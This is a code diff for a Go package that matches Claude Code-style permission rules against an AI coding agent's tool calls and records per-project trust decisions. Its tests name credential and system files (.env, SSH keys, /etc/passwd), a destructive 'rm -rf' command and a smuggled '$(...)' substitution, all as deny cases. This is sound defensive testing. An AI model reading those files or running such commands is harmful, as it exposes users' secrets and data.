| 73 | + {"Bash(go test:*)", "go test ./... > /dev/null", Matched, Matched}, | |
| 74 | + {"Bash(sort:*)", "sort < in.txt", Matched, Matched}, | |
| 75 | + // Other tools are not bash. | |
| 76 | + {"Bash", "", NoMatch, NoMatch}, | |
| 77 | + } | |
| 78 | + for _, tc := range tests { | |
| 79 | + c, err := compile(tc.rule, env) | |
| 80 | + if err != nil { | |
| 81 | + t.Fatalf("%s: %v", tc.rule, err) | |
| 82 | + } | |
| 83 | + tool := "bash" | |
| 84 | + if tc.cmd == "" { | |
| 85 | + tool = "edit_file" | |
| 86 | + } | |
| 87 | + if got := c.Match(tool, bash(tc.cmd), forAllow); got != tc.allow { | |
| 88 | + t.Errorf("allow %s on %q = %v, want %v", tc.rule, tc.cmd, got, tc.allow) | |
| 89 | + } | |
| 90 | + if got := c.Match(tool, bash(tc.cmd), forRestrict); got != tc.restrict { | |
| 91 | + t.Errorf("restrict %s on %q = %v, want %v", tc.rule, tc.cmd, got, tc.restrict) | |
| 92 | + } | |
| 93 | + } | |
| 94 | + } | |
| 95 | + | |
| 96 | + func TestPathRules(t *testing.T) { | |
| 97 | + base := t.TempDir() | |
| 98 | + home := filepath.Join(base, "home") | |
| 99 | + root := filepath.Join(home, "proj") | |
| 100 | + env := matchEnv{home: home, root: root} | |
| 101 | + tests := []struct { | |
| 102 | + rule, tool, path string | |
| 103 | + want Match | |
| 104 | + }{ | |
| 105 | + // No slash: any depth, as in .gitignore. | |
| 106 | + {"Read(.env)", "read_file", ".env", Matched}, | |
| 107 | + {"Read(.env)", "read_file", "deploy/.env", Matched}, | |
| 108 | + {"Read(.env)", "read_file", ".env.example", NoMatch}, | |
| 109 | + {"Read(*.pem)", "read_file", "certs/server.pem", Matched}, | |
| 110 | + // ./ anchors to the root. | |
| 111 | + {"Read(./.env)", "read_file", "deploy/.env", NoMatch}, | |
| 112 | + {"Read(./.env)", "read_file", root + "/.env", Matched}, | |
| 113 | + // /path is under the project root; //path is absolute. | |
| 114 | + {"Edit(/src/**/*.ts)", "edit_file", "src/a/b.ts", Matched}, | |
| 115 | + {"Edit(/src/**/*.ts)", "edit_file", "lib/b.ts", NoMatch}, | |
| 116 | + {"Read(//etc/passwd)", "read_file", "/etc/passwd", Matched}, | |
| 117 | + {"Read(~/.ssh/**)", "read_file", home + "/.ssh/id_ed25519", Matched}, | |
| 118 | + // A directory covers what is inside it. | |
| 119 | + {"Read(secrets)", "read_file", "secrets/prod/key", Matched}, | |
| 120 | + {"Edit(docs/)", "write_file", "docs/new.md", Matched}, | |
| 121 | + // Edit covers both writing tools; Read covers the search tools. | |
| 122 | + {"Edit(*.md)", "write_file", "README.md", Matched}, | |
| 123 | + {"Write(*.md)", "edit_file", "README.md", NoMatch}, | |
| 124 | + {"Read(secrets)", "grep", "secrets", Matched}, | |
| 125 | + {"Read(secrets)", "bash", "secrets", NoMatch}, | |
| 126 | + } | |
| 127 | + for _, tc := range tests { | |
| 128 | + c, err := compile(tc.rule, env) | |
| 129 | + if err != nil { | |
| 130 | + t.Fatalf("%s: %v", tc.rule, err) | |
| 131 | + } | |
| 132 | + if got := c.Match(tc.tool, pathArg(tc.path), forRestrict); got != tc.want { | |
| 133 | + t.Errorf("%s on %s %s = %v, want %v", tc.rule, tc.tool, tc.path, got, tc.want) | |
| 134 | + } | |
| 135 | + } | |
| 136 | + } | |
| 137 | + | |
| 138 | + // The file tools follow symlinks, so a rule about a file catches a link to it, | |
| 139 | + // and an allow rule does not cover a link that leads out of what it allows. | |
| 140 | + func TestPathRulesFollowSymlinks(t *testing.T) { | |
| 141 | + root := t.TempDir() | |
| 142 | + env := matchEnv{home: t.TempDir(), root: root} | |
| 143 | + os.WriteFile(filepath.Join(root, ".env"), []byte("SECRET=1"), 0o644) | |
| 144 | + if err := os.Symlink(filepath.Join(root, ".env"), filepath.Join(root, "notes.md")); err != nil { | |
| 145 | + t.Skip(err) | |
| 146 | + } | |
| 147 | + deny, _ := compile("Read(.env)", env) | |
| 148 | + if got := deny.Match("read_file", pathArg("notes.md"), forRestrict); got != Matched { | |
| 149 | + t.Errorf("a link to .env escaped Read(.env): %v", got) | |
| 150 | + } | |
| 151 | + allow, _ := compile("Edit(*.md)", env) | |
| 152 | + if got := allow.Match("edit_file", pathArg("notes.md"), forAllow); got != NoMatch { | |
| 153 | + t.Errorf("Edit(*.md) allowed editing .env through a link: %v", got) | |
| 154 | + } | |
| 155 | + } | |
| 156 | + | |
| 157 | + func TestOtherRules(t *testing.T) { | |
| 158 | + env := matchEnv{home: "/h", root: "/r"} | |
| 159 | + fetch := func(u string) json.RawMessage { b, _ := json.Marshal(map[string]string{"url": u}); return b } | |
| 160 | + tests := []struct { | |
| 161 | + rule, tool string | |
| 162 | + input json.RawMessage | |
| 163 | + want Match | |
| 164 | + }{ | |
| 165 | + {"WebFetch(domain:docs.rs)", "web_fetch", fetch("https://docs.rs/serde"), Matched}, | |
| 166 | + {"WebFetch(domain:docs.rs)", "web_fetch", fetch("https://evil.docs.rs.example/x"), NoMatch}, | |
| 167 | + {"WebFetch(domain:*.github.com)", "web_fetch", fetch("https://api.github.com/x"), Matched}, | |
| 168 | + {"WebFetch", "web_fetch", fetch("https://anything"), Matched}, | |
| 169 | + {"WebSearch", "web_search", nil, Matched}, | |
| 170 | + {"TodoWrite", "todo_write", nil, Matched}, | |
| 171 | + {"Glob", "glob", nil, Matched}, | |
| 172 | + {"MultiEdit", "edit_file", nil, Matched}, | |
| 173 | + {"mcp__db", "mcp__db__query", nil, Matched}, | |
| 174 | + {"mcp__db__*", "mcp__db__query", nil, Matched}, | |
| 175 | + {"mcp__db", "mcp__dbx__query", nil, NoMatch}, | |
| 176 | + {"mcp__db__query", "mcp__db__query", nil, Matched}, | |
| 177 | + {"mcp__db__query", "mcp__db__drop", nil, NoMatch}, | |
| 178 | + } | |
| 179 | + for _, tc := range tests { | |
| 180 | + c, err := compile(tc.rule, env) | |
| 181 | + if err != nil { | |
| 182 | + t.Fatalf("%s: %v", tc.rule, err) | |
| 183 | + } | |
| 184 | + if got := c.Match(tc.tool, tc.input, forAllow); got != tc.want { | |
| 185 | + t.Errorf("%s on %s = %v, want %v", tc.rule, tc.tool, got, tc.want) | |
| 186 | + } | |
| 187 | + } | |
| 188 | + for _, bad := range []string{"NotebookEdit", "Task(explore)", "WebFetch(https://x)", "mcp__db(x)", "Bash(", "WebSearch(cats)"} { | |
| 189 | + if _, err := compile(bad, env); err == nil { | |
| 190 | + t.Errorf("%s compiled; want an error so it is reported", bad) | |
| 191 | + } | |
| 192 | + } | |
| 193 | + } | |
| 194 | + | |
| 195 | + func perms(scope Scope, shown string, allow, deny, ask []string, mode string) Permissions { | |
| 196 | + return Permissions{Scope: scope, Shown: shown, Allow: allow, Deny: deny, Ask: ask, DefaultMode: mode} | |
| 197 | + } | |
| 198 | + | |
| 199 | + func TestRulesetHonouring(t *testing.T) { | |
| 200 | + user := perms(ScopeUser, "~/.claude/settings.json", []string{"Bash(git:*)", "Bash(rm:*)"}, nil, nil, "") | |
| 201 | + project := perms(ScopeProject, ".claude/settings.json", []string{"Bash(make:*)"}, []string{"Bash(rm:*)"}, []string{"Bash(git push:*)"}, "") | |
| 202 | + local := perms(ScopeLocal, ".claude/settings.local.json", []string{"Bash(go test:*)"}, nil, nil, "") | |
| 203 | + all := []Permissions{user, project, local} | |
| 204 | + | |
| 205 | + tests := []struct { | |
| 206 | + name string | |
| 207 | + trusted bool | |
| 208 | + cmd string | |
| 209 | + want approval.Verdict | |
| 210 | + source string | |
| 211 | + }{ | |
| 212 | + {"user allow", false, "git status", approval.VerdictAllow, "~/.claude/settings.json"}, | |
| 213 | + {"local allow", false, "go test ./...", approval.VerdictAllow, ".claude/settings.local.json"}, | |
| 214 | + {"untrusted project allow is ignored", false, "make build", approval.NoVerdict, ""}, | |
| 215 | + {"trusted project allow", true, "make build", approval.VerdictAllow, ".claude/settings.json"}, | |
| 216 | + {"a project's deny beats the user's allow", false, "rm -rf build", approval.VerdictDeny, ".claude/settings.json"}, | |
| 217 | + {"deny catches one part of a compound", true, "make && rm -rf build", approval.VerdictDeny, ".claude/settings.json"}, | |
| 218 | + {"ask beats allow", false, "git push origin main", approval.VerdictAsk, ".claude/settings.json"}, | |
| 219 | + {"an opaque command under a deny rule is asked about", false, "git $(echo status)", approval.VerdictAsk, ""}, | |
| 220 | + {"nothing said", false, "ls", approval.NoVerdict, ""}, | |
| 221 | + } | |
| 222 | + for _, tc := range tests { | |
| 223 | + t.Run(tc.name, func(t *testing.T) { | |
| 224 | + rs, _ := NewRuleset("/h", "/r", all, tc.trusted) | |
| 225 | + got := rs.Check("bash", bash(tc.cmd)) | |
| 226 | + if got.Verdict != tc.want { | |
| 227 | + t.Fatalf("verdict %v (%+v), want %v", got.Verdict, got, tc.want) | |
| 228 | + } | |
| 229 | + if tc.source != "" && got.Source != tc.source { | |
| 230 | + t.Errorf("source %q, want %q", got.Source, tc.source) | |
| 231 | + } | |
| 232 | + }) | |
| 233 | + } | |
| 234 | + } | |
| 235 | + | |
| 236 | + func TestRulesetDefaultMode(t *testing.T) { | |
| 237 | + edit := pathArg("a.go") | |
| 238 | + tests := []struct { | |
| 239 | + name string | |
| 240 | + p Permissions | |
| 241 | + want approval.Verdict | |
| 242 | + notes int | |
| 243 | + }{ | |
| 244 | + {"acceptEdits from the user", perms(ScopeUser, "u", nil, nil, nil, "acceptEdits"), approval.VerdictAllow, 0}, | |
| 245 | + {"acceptEdits from local", perms(ScopeLocal, "l", nil, nil, nil, "acceptEdits"), approval.VerdictAllow, 0}, | |
| 246 | + {"acceptEdits from the repository", perms(ScopeProject, "p", nil, nil, nil, "acceptEdits"), approval.NoVerdict, 1}, | |
| 247 | + {"bypassPermissions from the repository", perms(ScopeProject, "p", nil, nil, nil, "bypassPermissions"), approval.NoVerdict, 1}, | |
| 248 | + {"bypassPermissions from the user", perms(ScopeUser, "u", nil, nil, nil, "bypassPermissions"), approval.NoVerdict, 1}, | |
| 249 | + {"default", perms(ScopeUser, "u", nil, nil, nil, "default"), approval.NoVerdict, 0}, | |
| 250 | + } | |
| 251 | + for _, tc := range tests { | |
| 252 | + t.Run(tc.name, func(t *testing.T) { | |
| 253 | + rs, notes := NewRuleset("/h", "/r", []Permissions{tc.p}, true) | |
| 254 | + if got := rs.Check("edit_file", edit).Verdict; got != tc.want { | |
| 255 | + t.Errorf("edit_file verdict %v, want %v", got, tc.want) | |
| 256 | + } | |
| 257 | + if got := rs.Check("bash", bash("ls")).Verdict; got != approval.NoVerdict { | |
| 258 | + t.Errorf("acceptEdits let bash through: %v", got) | |
| 259 | + } | |
| 260 | + if len(notes) != tc.notes { | |
| 261 | + t.Errorf("notes %q, want %d", notes, tc.notes) | |
| 262 | + } | |
| 263 | + }) | |
| 264 | + } | |
| 265 | + // A deny still beats the mode. | |
| 266 | + rs, _ := NewRuleset("/h", "/r", []Permissions{perms(ScopeUser, "u", nil, []string{"Edit(*.go)"}, nil, "acceptEdits")}, false) | |
| 267 | + if got := rs.Check("edit_file", edit).Verdict; got != approval.VerdictDeny { | |
| 268 | + t.Errorf("deny under acceptEdits = %v", got) | |
| 269 | + } | |
| 270 | + } | |
| 271 | + | |
| 272 | + func TestRulesetLines(t *testing.T) { | |
| 273 | + all := []Permissions{ | |
| 274 | + perms(ScopeUser, "~/.claude/settings.json", []string{"Bash(go test:*)"}, nil, nil, "acceptEdits"), | |
| 275 | + perms(ScopeProject, ".claude/settings.json", []string{"Bash(make:*)"}, []string{"Read(.env)"}, nil, ""), | |
| 276 | + perms(ScopeLocal, ".claude/settings.local.json", []string{"NotebookEdit"}, nil, nil, ""), | |
| 277 | + } | |
| 278 | + rs, notes := NewRuleset("/h", "/r", all, false) | |
| 279 | + text := strings.Join(rs.Lines(), "\n") | |
| 280 | + for _, want := range []string{ | |
| 281 | + "~/.claude/settings.json", | |
| 282 | + "allow Bash(go test:*)", | |
| 283 | + "acceptEdits", | |
| 284 | + ".claude/settings.json (shared, from the repository)", | |
| 285 | + "deny Read(.env)", | |
| 286 | + "allow Bash(make:*) — ignored until this project is trusted", | |
| 287 | + "NotebookEdit — ignored: Codey has no NotebookEdit tool", | |
| 288 | + } { | |
| 289 | + if !strings.Contains(text, want) { | |
| 290 | + t.Errorf("lines missing %q:\n%s", want, text) | |
| 291 | + } | |
| 292 | + } | |
| 293 | + if len(notes) != 1 { | |
| 294 | + t.Errorf("notes %q, want the one unreadable rule", notes) | |
| 295 | + } | |
| 296 | + empty, _ := NewRuleset("/h", "/r", nil, false) | |
| 297 | + if !empty.Empty() { | |
| 298 | + t.Error("no files should be empty") | |
| 299 | + } | |
| 300 | + } | |
| @@ -0,0 +1,194 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "crypto/sha256" | |
| 5 | + "encoding/hex" | |
| 6 | + "encoding/json" | |
| 7 | + "errors" | |
| 8 | + "fmt" | |
| 9 | + "io/fs" | |
| 10 | + "os" | |
| 11 | + "path/filepath" | |
| 12 | + "slices" | |
| 13 | + "strings" | |
| 14 | + "time" | |
| 15 | + ) | |
| 16 | + | |
| 17 | + // Grant is everything a project's committed Claude Code files would grant if | |
| 18 | + // trusted: the servers its .mcp.json would start, and the allow rules its | |
| 19 | + // shared settings would honour. One question covers both, because both are | |
| 20 | + // the same question — do you trust what this repository says about itself — | |
| 21 | + // and two prompts at startup for one decision is one too many. | |
| 22 | + type Grant struct { | |
| 23 | + // Servers are the stdio servers .mcp.json defines, unexpanded. | |
| 24 | + Servers map[string]ServerDef | |
| 25 | + // Allow is the allow rules from every project-scope settings file, and | |
| 26 | + // AllowFrom names those files. | |
| 27 | + Allow []string | |
| 28 | + AllowFrom []string | |
| 29 | + } | |
| 30 | + | |
| 31 | + // NewGrant collects what the project-scope files would grant. | |
| 32 | + func NewGrant(mcp []MCPFile, perms []Permissions) Grant { | |
| 33 | + var g Grant | |
| 34 | + if p := Project(mcp); p != nil { | |
| 35 | + g.Servers = p.Servers | |
| 36 | + } | |
| 37 | + for _, p := range perms { | |
| 38 | + if p.Scope == ScopeProject && len(p.Allow) > 0 { | |
| 39 | + g.Allow = append(g.Allow, p.Allow...) | |
| 40 | + g.AllowFrom = append(g.AllowFrom, p.Shown) | |
| 41 | + } | |
| 42 | + } | |
| 43 | + return g | |
| 44 | + } | |
| 45 | + | |
| 46 | + // Empty reports whether there is nothing to ask about. | |
| 47 | + func (g Grant) Empty() bool { return len(g.Servers) == 0 && len(g.Allow) == 0 } | |
| 48 | + | |
| 49 | + // Fingerprint identifies exactly these definitions. A trust decision is | |
| 50 | + // recorded against it, so a .mcp.json that changes — a new server, a | |
| 51 | + // different command for an old one, one more allow rule — is a new question | |
| 52 | + // rather than one answered last month about something else. | |
| 53 | + // | |
| 54 | + // It covers the definitions as written, before ${VAR} is expanded: what the | |
| 55 | + // repository says is what is being trusted, and the user's environment is the | |
| 56 | + // user's own. | |
| 57 | + func (g Grant) Fingerprint() string { | |
| 58 | + allow := slices.Clone(g.Allow) | |
| 59 | + slices.Sort(allow) | |
| 60 | + // encoding/json writes map keys sorted, so equal definitions always | |
| 61 | + // encode to equal bytes. | |
| 62 | + body, _ := json.Marshal(struct { | |
| 63 | + Servers map[string]ServerDef `json:"servers"` | |
| 64 | + Allow []string `json:"allow"` | |
| 65 | + }{g.Servers, allow}) | |
| 66 | + sum := sha256.Sum256(body) | |
| 67 | + return "sha256:" + hex.EncodeToString(sum[:]) | |
| 68 | + } | |
| 69 | + | |
| 70 | + // Describe is the grant as lines for a trust prompt: each server's command | |
| 71 | + // line in full, since that is the thing being agreed to, and each rule. | |
| 72 | + func (g Grant) Describe() []string { | |
| 73 | + var lines []string | |
| 74 | + if len(g.Servers) > 0 { | |
| 75 | + lines = append(lines, "start these MCP servers, from "+ProjectMCP+":") | |
| 76 | + for _, name := range sortedNames(g.Servers) { | |
| 77 | + d := g.Servers[name] | |
| 78 | + line := " " + name + ": " + strings.Join(append([]string{d.Command}, d.Args...), " ") | |
| 79 | + if len(d.Env) > 0 { | |
| 80 | + line += " (env: " + strings.Join(sortedNames(d.Env), ", ") + ")" | |
| 81 | + } | |
| 82 | + lines = append(lines, line) | |
| 83 | + } | |
| 84 | + } | |
| 85 | + if len(g.Allow) > 0 { | |
| 86 | + lines = append(lines, "run these without asking, from "+strings.Join(g.AllowFrom, " and ")+":") | |
| 87 | + for _, r := range g.Allow { | |
| 88 | + lines = append(lines, " "+r) | |
| 89 | + } | |
| 90 | + } | |
| 91 | + return lines | |
| 92 | + } | |
| 93 | + | |
| 94 | + // TrustFilename is the record of trust decisions, beside Codey's config. | |
| 95 | + const TrustFilename = "trust.json" | |
| 96 | + | |
| 97 | + // TrustStore remembers, per working root, whether the user trusted that | |
| 98 | + // project's Claude Code files — and which version of them. | |
| 99 | + // | |
| 100 | + // It lives in the user's config directory, not in the project's .codey/ | |
| 101 | + // directory with the rest of the per-repository state. That is the whole | |
| 102 | + // point of it: anything inside the working tree can arrive with a clone, and a | |
| 103 | + // repository that shipped its own .codey/trust.json would be approving its own | |
| 104 | + // servers. The fingerprint is no protection there, because whoever wrote the | |
| 105 | + // .mcp.json can compute it. Only a file the repository cannot reach can say | |
| 106 | + // what the user decided. | |
| 107 | + type TrustStore struct { | |
| 108 | + Path string | |
| 109 | + } | |
| 110 | + | |
| 111 | + // DefaultTrustStore is the store beside the config file, wherever | |
| 112 | + // XDG_CONFIG_HOME puts that. | |
| 113 | + func DefaultTrustStore(configPath string) TrustStore { | |
| 114 | + return TrustStore{Path: filepath.Join(filepath.Dir(configPath), TrustFilename)} | |
| 115 | + } | |
| 116 | + | |
| 117 | + type trustFile struct { | |
| 118 | + Version int `json:"version"` | |
| 119 | + Projects map[string]trustEntry `json:"projects"` | |
| 120 | + } | |
| 121 | + | |
| 122 | + type trustEntry struct { | |
| 123 | + Fingerprint string `json:"fingerprint"` | |
| 124 | + Trusted bool `json:"trusted"` | |
| 125 | + Decided time.Time `json:"decided"` | |
| 126 | + } | |
| 127 | + | |
| 128 | + // Lookup reports whether a decision has been made about this root with this | |
| 129 | + // fingerprint, and what it was. A decision about a different fingerprint is | |
| 130 | + // no decision: the files have changed since. | |
| 131 | + func (s TrustStore) Lookup(root, fingerprint string) (decided, trusted bool, err error) { | |
| 132 | + f, err := s.read() | |
| 133 | + if err != nil { | |
| 134 | + return false, false, err | |
| 135 | + } | |
| 136 | + e, ok := f.Projects[filepath.Clean(root)] | |
| 137 | + if !ok || e.Fingerprint != fingerprint { | |
| 138 | + return false, false, nil | |
| 139 | + } | |
| 140 | + return true, e.Trusted, nil | |
| 141 | + } | |
| 142 | + | |
| 143 | + // Record saves a decision, replacing whatever was decided about this root | |
| 144 | + // before. A refusal is recorded too, so that saying no is not a question asked | |
| 145 | + // again on every start; a changed file asks again either way. | |
| 146 | + func (s TrustStore) Record(root, fingerprint string, trusted bool) error { | |
| 147 | + f, err := s.read() | |
| 148 | + if err != nil { | |
| 149 | + return err | |
| 150 | + } | |
| 151 | + if f.Projects == nil { | |
| 152 | + f.Projects = map[string]trustEntry{} | |
| 153 | + } | |
| 154 | + f.Version = 1 | |
| 155 | + f.Projects[filepath.Clean(root)] = trustEntry{Fingerprint: fingerprint, Trusted: trusted, Decided: time.Now().UTC()} | |
| 156 | + body, err := json.MarshalIndent(f, "", " ") | |
| 157 | + if err != nil { | |
| 158 | + return err | |
| 159 | + } | |
| 160 | + body = append(body, '\n') | |
| 161 | + if err := os.MkdirAll(filepath.Dir(s.Path), 0o755); err != nil { | |
| 162 | + return fmt.Errorf("trust: %w", err) | |
| 163 | + } | |
| 164 | + // A temporary file renamed over the target, as config.Save does: a write | |
| 165 | + // cut short must not lose every other project's decision. | |
| 166 | + tmp, err := os.CreateTemp(filepath.Dir(s.Path), TrustFilename+".*") | |
| 167 | + if err != nil { | |
| 168 | + return fmt.Errorf("trust: %w", err) | |
| 169 | + } | |
| 170 | + defer os.Remove(tmp.Name()) | |
| 171 | + if _, err := tmp.Write(body); err != nil { | |
| 172 | + tmp.Close() | |
| 173 | + return fmt.Errorf("trust: %w", err) | |
| 174 | + } | |
| 175 | + if err := tmp.Close(); err != nil { | |
| 176 | + return fmt.Errorf("trust: %w", err) | |
| 177 | + } | |
| 178 | + return os.Rename(tmp.Name(), s.Path) | |
| 179 | + } | |
| 180 | + | |
| 181 | + func (s TrustStore) read() (trustFile, error) { | |
| 182 | + var f trustFile | |
| 183 | + raw, err := os.ReadFile(s.Path) | |
| 184 | + if errors.Is(err, fs.ErrNotExist) { | |
| 185 | + return f, nil | |
| 186 | + } | |
| 187 | + if err != nil { | |
| 188 | + return f, fmt.Errorf("trust: %w", err) | |
| 189 | + } | |
| 190 | + if err := json.Unmarshal(raw, &f); err != nil { | |
| 191 | + return f, fmt.Errorf("trust: %s is not valid JSON: %w", s.Path, err) | |
| 192 | + } | |
| 193 | + return f, nil | |
| 194 | + } | |
| @@ -0,0 +1,114 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "os" | |
| 5 | + "path/filepath" | |
| 6 | + "testing" | |
| 7 | + ) | |
| 8 | + | |
| 9 | + func TestFingerprint(t *testing.T) { | |
| 10 | + base := Grant{ | |
| 11 | + Servers: map[string]ServerDef{"a": {Command: "x", Env: map[string]string{"K": "1", "J": "2"}}, "b": {Command: "y"}}, | |
| 12 | + Allow: []string{"Bash(make:*)", "Edit"}, | |
| 13 | + } | |
| 14 | + same := Grant{ | |
| 15 | + Servers: map[string]ServerDef{"b": {Command: "y"}, "a": {Command: "x", Env: map[string]string{"J": "2", "K": "1"}}}, | |
| 16 | + Allow: []string{"Edit", "Bash(make:*)"}, | |
| 17 | + } | |
| 18 | + if base.Fingerprint() != same.Fingerprint() { | |
| 19 | + t.Error("the same definitions in another order should be the same fingerprint") | |
| 20 | + } | |
| 21 | + changed := []Grant{ | |
| 22 | + {Servers: map[string]ServerDef{"a": {Command: "x", Env: map[string]string{"K": "1", "J": "2"}}, "b": {Command: "y", Args: []string{"--evil"}}}, Allow: base.Allow}, | |
| 23 | + {Servers: map[string]ServerDef{"a": {Command: "x", Env: map[string]string{"K": "1", "J": "2"}}}, Allow: base.Allow}, | |
| 24 | + {Servers: base.Servers, Allow: []string{"Bash(make:*)", "Edit", "Bash"}}, | |
| 25 | + {Servers: base.Servers, Allow: []string{"Bash(make:*)", "Edit"}, AllowFrom: []string{"elsewhere"}}, | |
| 26 | + } | |
| 27 | + for i, g := range changed[:3] { | |
| 28 | + if g.Fingerprint() == base.Fingerprint() { | |
| 29 | + t.Errorf("change %d did not change the fingerprint", i) | |
| 30 | + } | |
| 31 | + } | |
| 32 | + // Which file a rule came from is not part of what is trusted. | |
| 33 | + if changed[3].Fingerprint() != base.Fingerprint() { | |
| 34 | + t.Error("AllowFrom should not affect the fingerprint") | |
| 35 | + } | |
| 36 | + if !(Grant{}).Empty() || base.Empty() { | |
| 37 | + t.Error("Empty is wrong") | |
| 38 | + } | |
| 39 | + } | |
| 40 | + | |
| 41 | + func TestNewGrantTakesOnlyProjectScope(t *testing.T) { | |
| 42 | + mcp := []MCPFile{ | |
| 43 | + {Scope: ScopeLocal, Servers: map[string]ServerDef{"l": {Command: "l"}}}, | |
| 44 | + {Scope: ScopeProject, Servers: map[string]ServerDef{"p": {Command: "p"}}}, | |
| 45 | + {Scope: ScopeUser, Servers: map[string]ServerDef{"u": {Command: "u"}}}, | |
| 46 | + } | |
| 47 | + perms := []Permissions{ | |
| 48 | + {Scope: ScopeUser, Allow: []string{"Bash"}}, | |
| 49 | + {Scope: ScopeProject, Shown: ".claude/settings.json", Allow: []string{"Edit"}, Deny: []string{"Read(.env)"}}, | |
| 50 | + {Scope: ScopeLocal, Allow: []string{"Write"}}, | |
| 51 | + } | |
| 52 | + g := NewGrant(mcp, perms) | |
| 53 | + if len(g.Servers) != 1 || g.Servers["p"].Command != "p" { | |
| 54 | + t.Errorf("servers %v", g.Servers) | |
| 55 | + } | |
| 56 | + if len(g.Allow) != 1 || g.Allow[0] != "Edit" || g.AllowFrom[0] != ".claude/settings.json" { | |
| 57 | + t.Errorf("allow %v from %v", g.Allow, g.AllowFrom) | |
| 58 | + } | |
| 59 | + if len(g.Describe()) != 4 { | |
| 60 | + t.Errorf("describe: %q", g.Describe()) | |
| 61 | + } | |
| 62 | + } | |
| 63 | + | |
| 64 | + func TestTrustStore(t *testing.T) { | |
| 65 | + s := TrustStore{Path: filepath.Join(t.TempDir(), "codey", TrustFilename)} | |
| 66 | + root := "/src/proj" | |
| 67 | + | |
| 68 | + if decided, _, err := s.Lookup(root, "fp1"); decided || err != nil { | |
| 69 | + t.Fatalf("a fresh store decided=%v err=%v", decided, err) | |
| 70 | + } | |
| 71 | + if err := s.Record(root, "fp1", true); err != nil { | |
| 72 | + t.Fatal(err) | |
| 73 | + } | |
| 74 | + if decided, trusted, _ := s.Lookup(root, "fp1"); !decided || !trusted { | |
| 75 | + t.Error("the recorded decision was not found") | |
| 76 | + } | |
| 77 | + // Changed definitions are a new question. | |
| 78 | + if decided, _, _ := s.Lookup(root, "fp2"); decided { | |
| 79 | + t.Error("a decision about other definitions counted") | |
| 80 | + } | |
| 81 | + // Another checkout is another question. | |
| 82 | + if decided, _, _ := s.Lookup("/src/other", "fp1"); decided { | |
| 83 | + t.Error("a decision about another root counted") | |
| 84 | + } | |
| 85 | + // A refusal is remembered as a refusal. | |
| 86 | + if err := s.Record(root, "fp2", false); err != nil { | |
| 87 | + t.Fatal(err) | |
| 88 | + } | |
| 89 | + if decided, trusted, _ := s.Lookup(root, "fp2"); !decided || trusted { | |
| 90 | + t.Error("the refusal was not remembered") | |
| 91 | + } | |
| 92 | + if decided, _, _ := s.Lookup(root, "fp1"); decided { | |
| 93 | + t.Error("the old decision should have been replaced") | |
| 94 | + } | |
| 95 | + // Other roots' decisions survive a write. | |
| 96 | + s.Record("/src/other", "x", true) | |
| 97 | + if decided, _, _ := s.Lookup(root, "fp2"); !decided { | |
| 98 | + t.Error("recording one root lost another") | |
| 99 | + } | |
| 100 | + } | |
| 101 | + | |
| 102 | + // A store that cannot be read is an error, not "nobody decided": the caller | |
| 103 | + // treats it as untrusted, and must not overwrite it. | |
| 104 | + func TestTrustStoreCorrupt(t *testing.T) { | |
| 105 | + path := filepath.Join(t.TempDir(), TrustFilename) | |
| 106 | + os.WriteFile(path, []byte("{"), 0o644) | |
| 107 | + s := TrustStore{Path: path} | |
| 108 | + if _, _, err := s.Lookup("/r", "fp"); err == nil { | |
| 109 | + t.Error("want an error") | |
| 110 | + } | |
| 111 | + if err := s.Record("/r", "fp", true); err == nil { | |
| 112 | + t.Error("recording over a corrupt store should fail rather than replace it") | |
| 113 | + } | |
| 114 | + } | |